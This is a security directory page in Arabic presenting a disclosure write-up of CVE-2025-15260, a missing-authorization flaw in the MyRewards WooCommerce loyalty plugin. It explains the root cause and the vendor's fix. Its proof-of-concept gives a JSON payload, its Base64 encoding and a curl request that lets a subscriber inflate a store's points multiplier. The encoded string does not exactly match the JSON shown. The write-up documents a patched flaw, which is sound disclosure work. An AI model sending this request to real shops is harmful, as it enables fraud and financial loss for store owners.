Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-15260 — تفويض مفقود / التحكم في الوصول المكسور في الإضافة - MyRewards – Loyalty Points and Rewards for WooCommerce | Kitploit
أدوات/GitHubGitHub/d3kc4rt1/cve-2025-15260
تصعيد الامتيازاتتحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubd3kc4rt1/cve-2025-15260

CVE-2025-15260

تفويض مفقود / التحكم في الوصول المكسور في الإضافة - MyRewards – Loyalty Points and Rewards for WooCommerce

عرض المستودع
1منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-15260: فقدان التفويض / التحكم في الوصول مكسور في البرنامج المساعد - MyRewards – نقاط الولاء والمكافآت لووكومرس

إخلاء مسؤولية: تم إنشاء هذا المستودع لأغراض تعليمية وكشف أخلاقي فقط. تم الإبلاغ عن الثغرة بشكل مسؤول إلى البائع وتم تصحيحها. لا تستخدم هذه المعلومات لاستغلال الأنظمة دون إذن مناسب.

ملخص

تم اكتشاف ثغرة خطيرة في التحكم في الوصول / تصعيد الامتيازات في البرنامج المساعد MyRewards (WooRewards) لووكومرس (الإصدارات <= 5.6.0). يسمح هذا العيب لأي مستخدم مسجل الدخول، حتى أولئك ذوي الامتيازات البسيطة مثل المشتركين، بتجاوز التفويض وتعديل قواعد مكافآت المتجر الحساسة.

من خلال استغلال هذه الثغرة، يمكن للمهاجم تضخيم مضاعف نقاط الولاء الخاصة به إلى قيمة فلكية (على سبيل المثال، h999,999,999')، مما يسمح له بتجميع نقاط هائلة من عملية شراء صغيرة واحدة واستردادها للحصول على كوبونات أو منتجات مجانية، مما يؤدي إلى خسارة مالية مباشرة للمتجر.

نظرة عامة على الثغرة

  • معرف CVE: CVE-2025-15260
  • المنتج: MyRewards من LongwayStudio (برنامج WooCommerce الإضافي)
  • الإصدارات المتأثرة: <= 5.6.0
  • نوع الثغرة: التحكم في الوصول مكسور / تصعيد الامتيازات (CWE-284)
  • الامتيازات المطلوبة: مصادق عليه (مشترك أو أعلى)

الغوص التقني والسبب الجذري

يكمن السبب الجذري لهذه الثغرة في الفشل في تنفيذ فحوصات الصلاحية أو حماية CSRF على نقاط نهاية AJAX الحرجة التي تتعامل مع تعديلات قاعدة البيانات.

1. تسجيل AJAX غير المصرح به: يستخدم البرنامج المساعد فئة تحكم عامة (EditlistControler) لإدارة عمليات CRUD. في editlistcontroler.php، يسجل إجراء AJAX editlist باستخدام ربط gwp_ajax_`، مما يجعله متاحًا لـ جميع المستخدمين المسجلين الدخول، بغض النظر عن دورهم:

root@kitploit:~
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));

2. غياب التفويض والتحقق من Nonce: داخل طريقتي ajax() و accept()، يعالج الكود طلبات تغيير الحالة (مثل put للتحديث، del للحذف) بناءً فقط على إدخال المستخدم. يفتقد تمامًا استدعاءات current_user_can() و check_ajax_referer()، مما يعني عدم وجود تحقق مما إذا كان المستخدم لديه صلاحيات manage_woocommerce.

3. معالجة الحمولة الخطرة: تقبل نقطة النهاية سلسلة JSON مشفرة بـ Base64 عبر المعامل line، والتي يتم فك تشفيرها وتمريرها مباشرة إلى طريقة EventList::write()p، مما يحفظ الإعدادات الخبيثة مباشرة في قاعدة البيانات:

root@kitploit:~
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);

التأثير التجاري

  • خسارة مالية: من خلال التلاعب بمضاعف نقاط "مبلغ الطلب"، يمكن للممثلين السيئين توليد نقاط مكافأة لا نهائية واستبدالها بكوبونات خصم عالية القيمة أو عناصر مجانية، متجاوزين بوابة الدفع للتجارة الإلكترونية.
  • تصعيد الامتيازات: يمكن لعميل عادي (مشترك) تنفيذ إجراءات إدارة البرنامج المساعد.
  • انتهاك سلامة البيانات: يمكن للمهاجمين تشويه أو تغيير أو حذف قواعد المكافآت الحالية المشروعة، مما يعطل منطق التسويق للمتجر.

إثبات المفهوم (PoC)

توضح الخطوات التالية كيف يمكن لمشترك مصادق عليه استغلال هذا العيب.

1. المتطلبات الأساسية

  • الهدف يعمل بنظام WooCommerce مع MyRewards v5.6.0.
  • بيانات اعتماد صالحة لحساب على مستوى مشترك.
  • نظام مكافآت مُعد مسبقًا (على سبيل المثال، قاعدة كسب "إنفاق المال"). ملاحظة: معرف هذه القاعدة (مثل 101) تسلسلي ويمكن تعداده بسهولة من خلال ملاحظة استجابات AJAX الإضافية.

2. الحمولة

نريد تحديث مضاعف النقاط لمعرف القاعدة 101 إلى 999,999,999,999,999.

JSON الأولي

root@kitploit:~
{
  "post_id":"101",
  "wre_type":"lws_woorewards_events_orderamount",
  "lws_woorewards_events_orderamount_multiplier": "999999999999999"
}

مشفر بـ Base64 ('قيمة line')

root@kitploit:~
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0

3. تنفيذ الهجوم

قم بتشغيل طلب CURL التالي كمستخدم منخفض الامتياز:

root@kitploit:~
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
    -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
    -b '[Subscriber_Cookies_Here]' \
    -d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'

4. التحقق

  • منظور المهاجم: سيعيد الخادم {"status":1} لتأكيد التحديث.
  • منظور المسؤول: إذا زار المسؤول إعدادات الولاء، سيرى أن مضاعف النقاط للطلبات قد تغير إلى القيمة الفلكية التي حقنها المهاجم.

الإصلاح

لإصلاح هذه المشكلة، قم بتحديث البرنامج المساعد MyRewards إلى أحدث إصدار مصحح. حل البائع المشكلة عن طريق:

  1. تنفيذ فحوصات current_user_can() داخل وحدة تحكم AJAX للتحقق من الامتيازات الإدارية.
  2. إضافة check_ajax_referer() للتحقق من nonces ومنع تزوير الطلب عبر المواقع (CSRF).

الجدول الزمني

سجل مختصر لعملية الإفصاح لإظهار اتباع المعايير الأخلاقية:

  • التاريخ (2025-12-29): تم الإبلاغ إلى Wordfence / المطور.
  • التاريخ (2026-02-09): تم تصحيح الثغرة / الإفصاح العام.

المراجع والاعتمادات

  • قاعدة بيانات الثغرات في Wordfence
  • CVE-2025-15260 على NVD
  • البرنامج المساعد MyRewards على WordPress.org
تنزيل الأداة